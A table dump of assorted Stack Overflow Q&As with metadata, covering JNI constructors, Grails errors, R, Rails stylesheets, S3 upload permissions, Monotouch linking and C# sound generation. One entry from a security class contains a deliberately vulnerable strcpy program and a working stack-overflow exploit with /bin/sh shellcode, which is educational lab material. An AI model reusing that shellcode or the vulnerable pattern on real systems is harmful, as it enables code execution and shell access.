text
stringlengths 8
267k
| meta
dict |
---|---|
Q: Create java native method for constructor I am writing a program in Java and I would like to create a native interface for a library written in C++. But I am confused with how to write a native method declaration for a constructor.
Say I have this C++ class and constructor:
template <class _Tp,class _Val>
class Arbitrator
{
public:
Arbitrator();
}
How would I write a native method declaration?
This is what I'm doing so far:
package hbot.proxy.bwsal.arbitrator;
public class Arbitrator<Tp, Val>
{
public native Arbitrator Arbitrator();
}
Is this how I would do this?
Thanks
A: Create native method. For example, private native void init(). Call it from constructor in Java. In it's JNI implementation access C++ class as needed.
You will have to use JNI generated method signatures anyway, so you can't map directly Java class to C++ class if that's what you wanted to do.
A: In order to call a Java class constructor from C++ JNI code, you need to use JNI constructs here. Assuming you have passed a reference to the JVM with JNIEnv in your C++ function like this:
// Function declaration
void
Java_com_hunter_mcmillen_Arbitrator (JNIEnv *env, jobject thiz) {
// Reference to the Java class that has your method
jclass itemClazz = env->FindClass("com/hunter/mcmillen/myjava/myclasses/Arbitrator");
// Reference to the method in your java class
jmethodID constructor = env->GetMethodID(itemClazz, "<init>", "(Ljava/lang/Object;Ljava/lang/Object)V");
}
And now you can actually call the constructor function in your C++ code.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616791",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "10"
} |
Q: groovy.lang.MissingMethodException Hi I am trying to invoke a url using JQUery with parameters appended to it. The values of the parameters are from the text fields in the dialog box on the page. When I invoke the url with no values filled in the parameter (i.e url inside if) it execute fine, but when I enter values in the dialog box and run it gives me groovy.lang.MissingMethodException.
I alert the url in both cases and the values are displayed appropriately.
I am also handling the 3 params accordingly in the controller def runUserReport
Here is the code Snippet
function runJasperReport() {
var myurl="";
var from_date=$('#from_date').val();
var to_date=$('#to_date').val();
var user_id=$('#user_id').val();
if(!from_date ||!to_date ||!user_id)
{
myurl='/gra/reports/runUserReport?fromdate=&todate=&userid=';
}
else{
myurl='/gra/reports/runUserReport?fromdate='+from_date+'&todate='+to_date+'&userid='+user_id+'';
}
alert(myurl);
jQuery.ajax({
url: myurl,
dataType: 'html',
timeout: 3000,
beforeSend: function() {
jQuery('#demo').html('<center><div style="width: 70px; height: 100px; display: inline-block;margin-top: 120px;"></div></center>')
},
success:function(data,textStatus){
jQuery('#demo').html(data);
},
error:function(XMLHttpRequest,textStatus,errorThrown){}
});
return false;
Error Received:
groovy.lang.MissingMethodException: No signature of method: gra.ReportsController.$() is applicable for argument types: (gra.ReportsController$_closure8_closure9) values: [gra.ReportsController$_closure8_closure9@22d90078]
Possible solutions: is(java.lang.Object), any(), use([Ljava.lang.Object;), any(g
roovy.lang.Closure), getG(), wait()
A: Your request to the URL
/gra/reports/runUserReport
is telling grails that there should be a reportsController with a method runUserReport on it. However, grails is saying that the url is calling for the method $(), i.e. so your request looks like
/gra/reports/$()
Something is happening between when you set the url and fire the request. Look in webkit/firebug and the ajax that gets sent and verify that the url is what you think it is.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616793",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: sample() with list Is is possible to sample a single column at random from a list that looks similar to below.
list(combinations(4,3,1:4),combinations(4,2,1:4))
[[1]]
[,1] [,2] [,3]
[1,] 1 2 3
[2,] 1 2 4
[3,] 1 3 4
[4,] 2 3 4
[[2]]
[,1] [,2]
[1,] 1 2
[2,] 1 3
[3,] 1 4
[4,] 2 3
[5,] 2 4
[6,] 3 4
I was trying to combine the columns into a list of 1d matrices eg. list(matrix[,1],matrix[,2]...), but was having trouble getting that working as well. Since the matrices have different dimensions I wasn't really sure how to go about this.
A: You can do this with a simple application of lapply, as.vector and do.call:
l <- list(matrix(1:16,4,4),matrix(1:8,4,2),matrix(1:20,4,5))
rs <-lapply(l,as.vector)
matrix(do.call(c,rs),ncol = 1)
But that's my last attempt. If you change the question again, I'm just deleting this and moving on. ;)
A: Here's a way to do it that starts by flattening the matrices into a list of columns:
> library(gtools)
> matrices <- list(combinations(4,3,1:4),combinations(4,2,1:4))
> columns <- do.call(c, lapply(matrices, function(x) as.list(as.data.frame(x))))
> columns
$V1
[1] 1 1 1 2
$V2
[1] 2 2 3 3
$V3
[1] 3 4 4 4
$V1
[1] 1 1 1 2 2 3
$V2
[1] 2 3 4 3 4 4
> columns[[sample(length(columns), 1)]]
[1] 1 1 1 2 2 3
> columns[[sample(length(columns), 1)]]
[1] 2 3 4 3 4 4
> columns[[sample(length(columns), 1)]]
[1] 2 2 3 3
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616794",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Rails 3.1 and Stylesheet Frameworks I am building an application in Rails 3.1 and I really like the whole SASS feature.
I looked at Compass recently and did also come across some debate discussing the need to use compass anymore in Rails 3.1. Frankly, the things that attracted me to compass were the ready made mixins like resetting the css to be compatible for all browsers, and things like linear gradient.
*
*Is Compass worth using in Rails 3.1? Key advantages?
*I am also curious about other frameworks out there. Which stylesheet framework is the most popular for Rails 3.1 keeping the new rails features in mind? What framework do you use or which would you recommend?
*I also saw Blueprint, and some articles detailing how to use Compass with Blueprint. What I don't understand is, if Compass is a framework and Blueprint is a framework, why would one want to use them both together and make a mess, why not stick to one. Frankly I like to keep things simple and stick one framework to do one job. Maybe I am missing some advantage here, please explain the advantages of doing so.
Any help will be much appreciated
A: The difference is the focus of each framework. Compass seems primarily focussed on providing shortcuts for common CSS patterns. It extends CSS with programmatic enhancements to simplify using common idioms. Compass is build on top of SASS.
Blueprint provides boilerplate solutions for common CSS problems, but does not have functions like Compass that can be used to modify their behavior. It also has a grid system for laying out pages.
You can use both together, and pick and choose what pieces suit.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616796",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: ElementTree's iter() equivalent in Python2.6 I have this code with ElementTree that works well with Python 2.7.
I needed to get all the nodes with the name "A" under "X/Y" node.
from xml.etree.ElementTree import ElementTree
verboseNode = topNode.find("X/Y")
nodes = list(verboseNode.iter("A"))
However, when I tried to run it with Python 2.6, I got this error.
ionCalculateSkewConstraint.py", line 303, in getNodesWithAttribute
nodes = list(startNode.iter(nodeName))
AttributeError: _ElementInterface instance has no attribute 'iter'
It looks like that Python 2.6 ElementTree's node doesn't have the iter().
How can I implement the iter() with Python 2.6?
A: Note that iter is available in Python 2.6 (and even 2.5 - otherwise, there'd be a notice in the docs), so you don't really need a replacement.
You can, however, use findall:
def _iter_python26(node):
return [node] + node.findall('.//*')
A: Not sure if this is what you are looking for, as iter() appears to be around in 2.6, but there's getiterator()
http://docs.python.org/library/xml.etree.elementtree.html#xml.etree.ElementTree.Element.getiterator
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616800",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "16"
} |
Q: Invalid Uri: The Uri scheme is not valid I am trying to make a connection via HttpWebRequest. I am reading url links from a text file.
However, I am getting 'System.UriFormatException' error.
I have tried to add http:// in front of the url links in my text file. But the result is the same.
What can be the solution?
A: If the error only occurs when reading the values from a file, but not when assigned directly to a string variable, then I'm guessing that there are extra characters being read (quotes, escaped characters, carriage-return/line feeds, etc).
Try reading the first value into a string, and then comparing that to what you expect in the explicit string value. Any differences should be obvious after that.
A: Without seeing code it's impossible to tell what you're trying to do. But you can start by looking at the Message property of the UriFormatException class. Message is a string that explains the reason for the exception.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616803",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "4"
} |
Q: How can I refactoring test code for both JavaScript and HTML requests\responses? I am using Ruby on Rails 3.1.0 and the rspec-rails 2gem. Since I have to test both HTML and JavaScript requests for the same controller action and since sometime those responds by rendering different view files or behaving differently, I would like to refactor some code.
Generally, in my controller file I have:
def create
...
respond_to
format.html
format.js
end
end
At this time, in order to test both JS and HTML requests\responses, in my spec file I have two different examples (one example, for each case):
context "POST create" do
let(:user) { User.new }
it "should correctly respond to a JS request" do
xhr :post, :create
...
session[:user].should be_nil
flash[:notice].should be_nil
end
it "should correctly respond to a HTML request" do
post :create
...
session[:user].should be_nil
flash[:notice].should be_nil
end
end
How could\should I refactor the above code?
A: You could use shared_examples_for.
context "POST create" do
let(:user) { User.new }
shared_examples_for "a succesfull request" do
it("does not set the user") { session[:user].should be_nil }
it("does not set the flash") { flash[:notice].should be_nil }
end
context "with a js request" do
before(:each) do
xhr :post, :create
end
it_should_behave_like "a succesfull request"
end
context "with a HTML request" do
before(:each) do
post :create
end
it_should_behave_like "a succesfull request"
end
end
Hope this helps.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616804",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Amazon S3 upload with public permissions I'm using the Amazon C# SDK and trying to upload a file, but by default it has restricted permissions. I would like to make it publicly available, but I can't seem to find out how to do it as part of the upload.
My bucket is public, but when I upload a new file using the code below, the file I upload is not public.
Has anyone had to do this before?
public class S3Uploader
{
private string awsAccessKeyId;
private string awsSecretAccessKey;
private string bucketName;
private Amazon.S3.Transfer.TransferUtility transferUtility;
public S3Uploader(string bucketName)
{
this.bucketName = bucketName;
this.transferUtility = new Amazon.S3.Transfer.TransferUtility("XXXXXXXXXXXXXXXXXX", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
}
public void UploadFile(string filePath, string toPath)
{
AsyncCallback callback = new AsyncCallback(uploadComplete);
transferUtility.BeginUpload(filePath, bucketName, toPath, callback, null);
}
private void uploadComplete(IAsyncResult result)
{
var x = result;
}
}
A: I have done this before, and in C#, but not with your library (so this may be of limited help).
The idea is to send an ACL header along with the file.
This is one way to do it that should point you in the right direction.
Here's also a link to some relevant AWS docs.
private const string AWS_ACL_HEADER = "x-amz-acl";
private static string ToACLString(S3ACLType acl) {
switch (acl) {
case S3ACLType.AuthenticatedRead:
return "authenticated-read";
case S3ACLType.BucketOwnerFullControl:
return "bucket-owner-full-control";
case S3ACLType.BucketOwnerRead:
return "bucket-owner-read";
case S3ACLType.Private:
return "private";
case S3ACLType.PublicRead:
return "public-read";
case S3ACLType.PublicReadWrite:
return "public-read-write";
default: return "";
}
}
public void Put(string bucketName, string id, byte[] bytes, string contentType, S3ACLType acl) {
string uri = String.Format("https://{0}/{1}", BASE_SERVICE_URL, bucketName.ToLower());
DreamMessage msg = DreamMessage.Ok(MimeType.BINARY, bytes);
msg.Headers[DreamHeaders.CONTENT_TYPE] = contentType;
msg.Headers[DreamHeaders.EXPECT] = "100-continue";
msg.Headers[AWS_ACL_HEADER] = ToACLString(acl);
Plug s3Client = Plug.New(uri).WithPreHandler(S3AuthenticationHeader);
s3Client.At(id).Put(msg);
}
A: The solution by Tahbaza is correct, but it doesn't work in the later versions of AWS SDK (2.1+)...
Consider using the following for 2.1+ versions of SDK:
private void UploadFileToS3(string filePath)
{
var awsAccessKey = ConfigurationManager.AppSettings["AWSAccessKey"];
var awsSecretKey = ConfigurationManager.AppSettings["AWSSecretKey"];
var existingBucketName = ConfigurationManager.AppSettings["AWSBucketName"];
var client = Amazon.AWSClientFactory.CreateAmazonS3Client(awsAccessKey, awsSecretKey,RegionEndpoint.USEast1);
var uploadRequest = new TransferUtilityUploadRequest
{
FilePath = filePath,
BucketName = existingBucketName,
CannedACL = S3CannedACL.PublicRead
};
var fileTransferUtility = new TransferUtility(client);
fileTransferUtility.Upload(uploadRequest);
}
A: Consider CannedACL approach, shown in the follwing snippet:
string filePath = @"Path\Desert.jpg";
Stream input = new FileStream(filePath, FileMode.Open);
PutObjectRequest request2 = new PutObjectRequest();
request2.WithMetaData("title", "the title")
.WithBucketName(bucketName)
.WithCannedACL(S3CannedACL.PublicRead)
.WithKey(keyName)
.WithInputStream(input);
A: You can use the property CannedACL of Amazon.S3.Model.PutObjectRequest to upload files to S3 as shown below,
var putObjectRequest = new Amazon.S3.Model.PutObjectRequest
{
BucketName = bucketName,
Key = key,
CannedACL = S3CannedACL.PublicReadWrite
};
A: Found it, need to use a TransferUtilityUploadRequest:
public class S3Uploader
{
private string awsAccessKeyId;
private string awsSecretAccessKey;
private string bucketName;
private Amazon.S3.Transfer.TransferUtility transferUtility;
public S3Uploader(string bucketName)
{
this.bucketName = bucketName;
this.transferUtility = new Amazon.S3.Transfer.TransferUtility("XXXXXXXXXXXXXXXXXX", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
}
public void UploadFile(string filePath, string toPath)
{
AsyncCallback callback = new AsyncCallback(uploadComplete);
var uploadRequest = new TransferUtilityUploadRequest();
uploadRequest.FilePath = filePath;
uploadRequest.BucketName = "my_s3_bucket";
uploadRequest.Key = toPath;
uploadRequest.AddHeader("x-amz-acl", "public-read");
transferUtility.BeginUpload(uploadRequest, callback, null);
}
private void uploadComplete(IAsyncResult result)
{
var x = result;
}
}
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616810",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "31"
} |
Q: Getting SIGILL when trying to execute buffer overflow attack I'm working on my buffer overflow project for my security class, I think I have everything set up right but when I run it I get:
Program received signal SIGILL, Illegal Instruction.
0x08048500 in main(argc=4854718, argv=0x0804b008) at stack.c:22
22 fread(str,sizeof(char),517,badfile);
Heres stack.c
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
here is exploit.c
char code[]=
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x99" // cltd
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
;
char retaddr[] = "\x70\xF2\xFF\xBF";
void main(int argc, char **argv)
{
char strr[517];
strr[0] = 'Z';
strr[1] = 0;
strr[2] = '\x00';
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
//memcpy(buffer, "EGG=", 4);
memcpy(buffer, code, 24);
memcpy(buffer+20,retaddr,4);
memcpy(buffer+24,"\x00\x00\x00\x00",4);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer,517,1,badfile);
fclose(badfile);
}
Here is the stack at runtime.
Starting program: /home/john/stack
Breakpoint 1, bof (
str=0xbffff2b7 "1\300Phn/shh//bi\211\343\231RS\211\341p\362\377\277")
at stack.c:13
13 strcpy(buffer, str);
(gdb) x/12xw $esp
0xbffff270: 0x00000205 0xbffff298 0x004a13be 0x0804b008
0xbffff280: 0xbffff2b7 0x00000205 0xb7fef6c0 0x00584ff4
0xbffff290: 0x00000000 0x00000000 0xbffff4c8 0x0804850f
(gdb) s
14 return 1;
(gdb) x/12xw $esp
0xbffff270: 0xbffff284 0xbffff2b7 0x004a13be 0x0804b008
0xbffff280: 0xbffff2b7 0x6850c031 0x68732f6e 0x622f2f68
0xbffff290: 0x99e38969 0xe1895352 0xbffff270 0x08048500
(gdb) c
Continuing.
Any idea why I'm getting SIGILL?
A: Because you're executing illegal code. In your exploit.c, you're overwriting offsets 20-23 with the return address -- those bytes were previously the b0 0b cd 80 corresponding to the last two mov $0xb,%al and int $0x80 instructions. The zero bytes you put in there are illegal code.
Since the return address has to go at that specific offset for this target, you need to modify your shell code not to use that data. I'd suggest either moving the shell code to after that offset and pointing the return address there, or putting in a jump over the return address so that the processor doesn't try to execute it.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616813",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "5"
} |
Q: ExtJS 4: JSONRPC 2.0 as store protocol? I would like to implement a graphical user interface on the basis of ExtJS version 4. The web service I want to use provides data as result sets of jsonrpc-2.0 calls.
I cannot find anything in the docs on how to do this. Do I use AJAX proxy? If so, how do I generate the proper POST requests for jsonrpc?
edited to clarify: I already have a means to do jsonrpc2 requests to the server and the server answers with a proper response. So I guess I really need a store that calls custom functions and defines callbacks or some such. An Invocation of that mechanism looks like:
jsonrpc2.call("method_name", parameterObject,
function(success, data_or_error_object) { /* callback code */ })
with method_name like "create", "update", etc., the parameterObject is mostly a normal javascript object with named parameters.
A: The Ext.js store has a proxy which you can define urls for api actions for CRUD operations, but this centres around providing a URL for the actions which would commonly be a server side method to perform the actions.
If you're using a local server proxy, such as type: 'ajax' you can then call the 'sync()' method on the store to send off the requests for each operation to the urls/methods defined on the store.
Is it critical that you keep the 'call' function you've defined, as I don't think you'd need it in this situation.
If you wanted to make these calls using JSONP you can define a store with a 'type' of JSONP like this example:
var store = Ext.create('Ext.data.Store', {
model: 'User',
proxy: {
type: 'jsonp',
url : 'http://domainB.com/users'
}
});
store.load();
The JSONP proxy isn't really used for operations other than load though, if you want to manipulate records on a remote server you have to wrap the data into parameters and this isn't the advised route.
A: Maybe you should look at Ext.Direct. While it is not exactly what you're looking for, it is very similar to JSON-RPC, so looking at the source code for Ext.data.DirectStore should give you some hints about how you can implement a JSONRpc store.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616815",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: Getting text from a form and evaluate in selenium using ruby I am testing a registration form and one of the questions before submitting is:
"What is 8 + 4?"
The values will be different every time. I am using Selenium 2 with Ruby and want to to see if anyone knows how to a) get the text from the question and then b) compute the addition and return the correct answer in the field.
Thanks!
A: Using ruby code try to get the values in between is and ? Store this in Variable and now split the text with deliminator + now you will get the Values in array in different location. Now you can add these two and use for your evaluation. I don't have idea about ruby but its possible in PHP as I have done the same. Its should be in Ruby too.
Getting text between is and ? can be done strpos() in php that gives the position of the string see similar function for ruby.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616819",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Is it possible to read SharedPreferences held by another application? I am trying to read the value of the Android Contacts application setting used to display contacts with phone numbers only. (Accessible from the contact list, menu -> display settings, "only contacts with phone number").
According to the source code of the contacts application (see link below), that setting is stored in the SharedPreferences of the contacts application.
http://www.google.com/codesearch#J8HqCFe1rOo/src/com/android/contacts/ui/ContactsPreferencesActivity.java&q=ContactsPreferencesActivity.java&type=cs&l=146
Is it possible for my third party app to access that SharedPreference instance and read the value of that setting ?
Thanks a lot, it's really appreciated.
A: Unless the SharedPreferences are not in private mode (which is the default setting) you can do this :
http://thedevelopersinfo.com/2009/11/25/getting-sharedpreferences-from-other-application-in-android/
A: As per the documentation of SharedPreferences
Note: currently this class does not support use across multiple processes. This will be added later
I think even then you need to have same signature
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616821",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Monotouch mtouch arguments problems Having trouble getting these two arguments to play nice when compiling a project. Any help would be much appreciated.
-gcc_flags "-L${ProjectDir} -lflite -all_load" -nosymbolstrip -nostrip -cxx -gcc_flags " -lgcc_eh -L${ProjectDir} -ltestflight -ObjC"
flite is a native C library, while TestFlight is a Obj-C library. Any idea how to make them play nice together?
The lflite library was working great, then I went to add TestFlight and things went sideways. The solution compiles but crashes on start up with:
Sep 30 15:40:18 Dev-iPhone UIKitApplication:com.cognitopia.scando[0x2e64][3288] <Notice>: Native stacktrace:
Sep 30 15:40:18 Dev-iPhone UIKitApplication:com.cognitopia.scando[0x2e64][3288] <Notice>: 0 ScanDo 0x005f9770 mono_handle_native_sigsegv + 412
Sep 30 15:40:18 Dev-iPhone UIKitApplication:com.cognitopia.scando[0x2e64][3288] <Notice>: 1 ScanDo 0x005c9788 mono_sigsegv_signal_handler + 360
Sep 30 15:40:18 Dev-iPhone UIKitApplication:com.cognitopia.scando[0x2e64][3288] <Notice>: 2 libsystem_c.dylib 0x34f3172f _sigtramp + 42
Sep 30 15:40:18 Dev-iPhone UIKitApplication:com.cognitopia.scando[0x2e64][3288] <Notice>: 3 ScanDo 0x005c93f0 mono_jit_runtime_invoke + 2800
A: Try:
-gcc_flags "-force_load ${ProjectDir}/libflite.a -lgcc_eh -force_load ${ProjectDir}/libtestflight.a -ObjC" -nosymbolstrip -nostrip -cxx
A: Merge both arguments and use --force_load since it apply only to the provided library, instead of --load_all which affects all libraries (and could play tricks with libgcc_eh.a or libtestflight.a). That would give something like:
-nosymbolstrip -nostrip -cxx -gcc_flags "-L${ProjectDir} -lflite -force_load ${ProjectDir}/libflite.a -lgcc_eh -ltestflight -ObjC"
Also it's been reported that using the testflight SDK requires using the LLVM compiler option.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616823",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Can you add ActionScript or other code to an flv I'm curious if it's possible for an flv file to contain code like ActionScript or if it can only contain the audio/video data for the video.
I'm specifically asking related to the security of allowing an FLV file to be uploaded a site.
Edit: assume that the contents have been validated to be a real "flv" - the question is whether the format natively supports code inside of the flv.
A:
the question is whether the format natively supports code inside of
the flv.
To that question, the answer is no. For further security discussions, see the other answers.
A: FLV files are for video/audio: http://en.wikipedia.org/wiki/Flash_Video. but I can rename any executable file of course and add the .FLV extension to it. so I believe you will need to read the uploaded files and check whether they are FLV indeed.
A: FLV is only a video format. Like akonsu said, you should check if the file is really a FLV file, not just checking it's extension.
You should check if the file's mime type is "video/x-flv".
More info about FLV: http://osflash.org/flv
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616827",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: flush during runtime: I've got a php script running constantly, during which I'm looking at a webpage with the logs. Is there any way to automatically scroll to the last entry when flushing?
My flush function (only way I could make it work):
function flush2 (){
echo(str_repeat(' ',256));
if (ob_get_length()){
@ob_flush();
@flush();
@ob_end_flush();
}
@ob_start();
}
A: If with "scroll" you mean "scroll the browser viewport", this is client-side stuff.
I strongly suggest you to use AJAX to periodically poll a PHP script that returns the "new" stuff (I don't know what it is looking at the example), and everytime it gets some new entry, it creates a new DOM element at the bottom of the page, and scrolls the page down.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616834",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Sample in Standing Wave 3 Actionscript Library I am trying to get my head around StandingWave 3. I can create IAudioSources and play them but I am trying to figure out how to use the Sample part.
I tried mixing an IAudioSource into a Sample by Sample.mixIn().
testSample.mixIn(mp1.getSample(mp1.frameCount));
player.play(testSample);
Any steps in the right direction will be a big help.
A: I got this working by using extractSound() on an mp3.
Thanks
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616837",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: How to save a mix of strings and numbers into text files in specified format using numpy.savetxt? with one array of strings and the other array of numbers, like
str_arr = np.array(['object1_short', 'object2_intermidiate', 'object3_long'])
and
flt_arr = np.array([10.01234235, 11.01234235, 12.023432])
How can I specified fmt in np.savetxt so that the text file will be
object1 10.01
object2 11.01
object3 12.02
, i.e., two arrays in %7s and %4.2f respectively.
I really want to use numpy.savetxt to do this, but directly specifying
np.savetxt("output.txt", np.vstack([str_arr, flt_arr]).T), fmt = '%7s %4.2f')
seems doesnot work. Is it doable with savetxt at all? I really prefer a numpy.array based solution rather than going for spliting and reformating using list comprehensions, or recarrays.
Thanks.
A: You can't make an ndarray of nonhomogeneous array types, so stacking str_arr and flt_arr won't work. You could start by converting flt_arr into an array of strs doing something like this:
>>> np.char.mod("%4.2f", flt_arr)
array(['10.01', '11.01', '12.02'],
dtype='|S5')
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616838",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: class hierarchy design - order of classes What is the best way to order a a group of classes. I've already made the decision to put them in one file. An opcode caching application well ensure efficiency.
Is alphabetical O.K? Does it matter? Here is the list.
/*CLASS LIST*/
/*bookmark*/
/*database*/
/*import*/
/*one_db*/
/*post*/
/*route*/
/*session*/
/*signup*/
/*table_maintain*/
/*tweet*/
/*upload*/
/*validate*/
/*view_html*/
A: Classes like "one" and "tablem" seem to be a bit confusing. When someone looks into your application, even first line of class has to tell him/her, what does it do, what is that class for.
A: You need to put parent classes before child classes. So alphabetical with classes moved to take into account parent/child relationships.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616839",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Label Html helper is show up as string literal contents instead of being rendered Q: How do I get this to render as a ? It' showing up as string literal text instead of being renderd into an actual element.
public static class HtmlExtensions
{
public static string LabelX(this HtmlHelper htmlHelper,
string target, string text, string _class)
{
return (String.Format( "<label class='{2}' for='{0}'>{1}</label>", target, text, _class);
}
}
A: Return an MvcString not a regular string.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616842",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Images from my stylesheet will not load I currently using WAMP Server 2.1 on both my own computer and on my girlfriends laptop. I synchronizing my files through Dropbox and I link some images (the logotype, background-image, etc.) via my stylesheet to my personal website.
The images is visible on my own computer but they are just gone on my girlfriends laptop, just like as they are not on her computer which they are. All files are fully synchronized between these 2 computers and I ask you now; what do you think is wrong here?
WAMP Server has the same settings and modules on the laptop as on my computer.
Thanks in advance.
A: Check the path of image make sure that image is in www folder also check the directory .
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616843",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Framework for Browser toolbar Is there a framework I can use to make cross-browser toolbar?
To make my self more clear : I want something like this but for browsers
http://www.phonegap.com/
As you can see , it uses a common technology (HTML+CSS+JS) to make cross-platform mobile apps.
A: Try this: http://kangoextensions.com/
for cross-browser extension development
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616844",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: ajax loading flash swf coming out empty im loading soundcloud embedded players in via jquery .load()
in IE whenever an swf is in it the load freezes and becomes incomplete.
if there isnt one the query works fine. it also works fine on chrome, Firefox and Safari.
function ajaxLoad(id){
var url = "http://www.konstructive.com/projects/karlssonwinnberg/?page_id=118&cat="+id;
$('#container').empty();
$('#container').load(url, function(){
$('#container').masonry('reload');
Shadowbox.clearCache();
Shadowbox.setup();
//Masonry();
ClickOptions();
});
return false;
}
object looks like this
<div class="item">
<object height="571" width="571"> <param name="movie" value="http://player.soundcloud.com/player.swf?url=http%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F24256938&auto_play=false&player_type=artwork&color=000000"></param> <param name="allowscriptaccess" value="always"></param> <embed allowscriptaccess="always" height="571" src="http://player.soundcloud.com/player.swf?url=http%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F24256938&auto_play=false&player_type=artwork&color=000000" type="application/x-shockwave-flash" width="571"></embed> </object>
</div>
you can check out the demo version here
http://www.konstructive.com/projects/karlssonwinnberg/
and the ajax load page here
http://www.konstructive.com/projects/karlssonwinnberg/?page_id=118&cat=0
is there another way to load flash using ajax?
any help is much appreciated
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616847",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: getting error after ugrading to sass-3.1.8 after upgrading to sass-3.1.8 form sass-3.1.7 I get this error:
Functions may only be defined at the root of a document.
any Idea how I can solve this?
I'm using some of bourbon's mixins and it's imported at the top of my stylesheets, that's all.
A: I have the same problem and could not solve it by modifying code.
The way I solved was to use an older version:
gem uninstall sass
gem install sass -v 3.1.1
A: Ok Here is what I come up with:
SASS team decided to make a change (in this case "Functions may only be defined at the root of a document.") that made some plugins incompatible. in my case it was bourbon library. I made a ticket on github homepage of the bourbon and the owner updated the code and released a new version that's working with latest api.
I think this change should have got a bigger version bump to indicate the api change.
A: Sass developer here. Mixins and functions were never meant to be allowed in a scoped context. A bug was fixed recently that caused them to be caught when in an imported file (before this fix they were only caught if defined in the primary sass file).
That said, it's not a feature we're explicitly opposed to, but we'd would need to properly test it, document it, and support it as an official feature.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616850",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "6"
} |
Q: Is it possible to generate a constant sound in C# while adjusting its frequency? Is it possible to generate a constant sound in C# and manipulate its frequency as it goes?
I tried something like this:
for (int i = 500; i < 15000; i += 1)
{
Console.Beep(i, 500));
}
But being synchronous, the loop waits for each beep to finish. So I tried this:
for (int i = 500; i < 15000; i += 1)
{
new Thread(x => Console.Beep(i, 500)).Start();
}
I would think this would be a start toward generating a constant sound that is ever increasing in frequency. However, it still stutters as it goes. Is there a way to accomplish this but more smoothly?
A: If you want to do this in real-time (i.e. change the frequency dynamically in response to user input), this would be incredibly difficult and would entail your writing a software synthesizer. In that case, you might want to try using a library like NAudio (although I'm not 100% sure NAudio does realtime synthesis).
On the other hand, if you just want to pre-generate a WAV file with a continuously ascending tone and then play it, that's incredibly easy.
Edit: a third alternative is to play a MIDI sound and send control change messages to the MIDI device to gradually apply portmanteau to a playing note. This is also easy, but has the disadvantage that you can't be sure exactly how it will sound on somebody else's computer.
